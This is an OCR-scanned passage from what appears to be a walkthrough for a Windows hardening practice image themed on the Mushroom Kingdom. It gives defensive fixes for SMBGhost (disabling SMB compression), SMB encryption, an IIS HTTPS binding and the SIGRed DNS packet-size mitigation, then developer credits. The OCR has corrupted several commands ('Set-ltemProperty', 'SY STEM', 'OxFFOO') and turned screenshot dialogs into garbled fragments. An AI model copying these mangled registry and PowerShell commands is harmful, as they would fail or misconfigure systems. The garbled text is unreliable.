Open an Administrator PowerShell session and enter "Set-ltemProperty -Path
"HKLM:\SY STEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression
-Type DWORD -Value 1 -Force"

SMB Server-wide encryption is enabled

According to Microsoft Docs, "SMB Encryption provides end-to-end encryption of SMB
data and protects data from eavesdropping occurrences on untrusted networks". This is
important in the use case of SMB being a file server or within Active Directory as a mechanism
to distribute Group Policy information to other systems. Unencrypted transmission of sensitive
data should never be acceptable.

To fix this vulnerability, open an Administrator PowerShell session and enter "Set-
SmbServerConfiguration -EncryptData $true -Force".

IIS HTTPS Binding has been configured

According to the README, Peach has told you to implement HTTPS. In major
corporations, HTTPS is implemented with a signed certificate by a trusted certificate authority
(CA). Since this site is internal, you should apply a self-signed certificate in order to secure
traffic to and from the Mushroom Kingdom Shop.

To create and apply an SSL certificate for HTTPS on IS, open Internet Information
Services (IIS) Manager, click the CASTLE-DC connection, then select "Server certificates". On


https://www.mcafee.com/blogs/other-blogs/mcafee-labs/smbghost-analysis-of-cve-2020-0796/
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0796

: *E |nternet Infarmation Services (15 Manager

TLE-DC Home

q Server Certificates




Create Self-Signed Certificate 7 x

Specify Friendly Name

file harne for the certificate request, This information can be sent to a certificate authority for
hing:

ify a friendly narme for the certificate:
kingdorm-cert
ertificate:

ct a certificate store for the new




Explore

Edit Perrmissions..,

Fermove
|r'l'5t- .-':'-.F|F||il _iler'| Fr'|:|r'r'| EE”ET"_',-'
Renarme

teh to Content

Site Bindings 7 *

Type Hast Mame Por IP Address Binding Informa..,

http a0 *




£dd Site Binding [} X

[P addr

Haost narme:

]

L] Require et Mame Indication

[] Disable HTTR/2

[] Disable O Stapling

Cancel



https://shop.mushroom.kingdom/
https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters" /v
"TcpReceivePacketSize" /t REG_DWORD /d OxFFOO /f

Wersion 18.8.1
C atieon. ALL righ eserved.

LOCAL MACHIMENSYSTEMWCurrentControlSetiyServiceshDNsWParameters™ fv "TopRecelvePacket5i

net stop DNS && net start DNS




Remarks & Credits

Thank you to everyone who attempted to complete this image before
this walkthrough was released. We hope we at least taught you some cool
stuff along the way! Feel free to give us feedback. We would love to hear
from you!

Developers

RainbowDynamix#5809
shiversoftdev#7639



